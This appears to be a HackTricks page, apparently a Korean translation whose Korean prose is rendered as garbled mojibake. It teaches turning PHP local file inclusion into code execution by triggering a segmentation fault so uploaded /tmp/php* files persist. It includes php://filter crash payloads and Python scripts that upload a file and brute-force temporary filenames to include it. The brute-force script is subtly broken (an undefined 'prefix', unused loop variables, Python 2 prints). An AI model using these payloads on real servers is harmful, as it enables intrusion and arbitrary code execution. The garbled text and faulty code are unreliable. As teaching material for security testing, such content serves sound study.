LFI2RCE via Segmentation Fault
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ค์์ ํ์ด๋ก๋๋ PHP์์ ์ธ๊ทธ๋ฉํ ์ด์ ์ค๋ฅ๋ฅผ ์ ๋ฐํ์ต๋๋ค: https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (๋ ๋ฒ์งธ ๋ถ๋ถ) ๋ฐ https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
๋น์ ์ ํ์ผ์ ํฌํจํ๋ POST ์์ฒญ์ ์ ์กํ๋ฉด PHP๊ฐ ํด๋น ํ์ผ์ ๋ด์ฉ์ ๊ฐ์ง **/tmp/php<something>**์ ์์ ํ์ผ์ ์์ฑํ๋ค๋ ๊ฒ์ ์์์ผ ํฉ๋๋ค. ์ด ํ์ผ์ ์์ฒญ์ด ์ฒ๋ฆฌ๋๋ฉด ์๋์ผ๋ก ์ญ์ ๋ฉ๋๋ค.
LFI๋ฅผ ๋ฐ๊ฒฌํ๊ณ PHP์์ ์ธ๊ทธ๋ฉํ ์ด์ ์ค๋ฅ๋ฅผ ์ ๋ฐํ๋ฉด ์์ ํ์ผ์ ์ ๋ ์ญ์ ๋์ง ์์ต๋๋ค. ๋ฐ๋ผ์ LFI ์ทจ์ฝ์ ์ ์ฌ์ฉํ์ฌ ํ์ผ์ ๊ฒ์ํ๊ณ ์ด๋ฅผ ์ฐพ์ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
ํ ์คํธ๋ฅผ ์ํด ๋์ปค ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: https://hub.docker.com/r/easyengine/php7.0
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


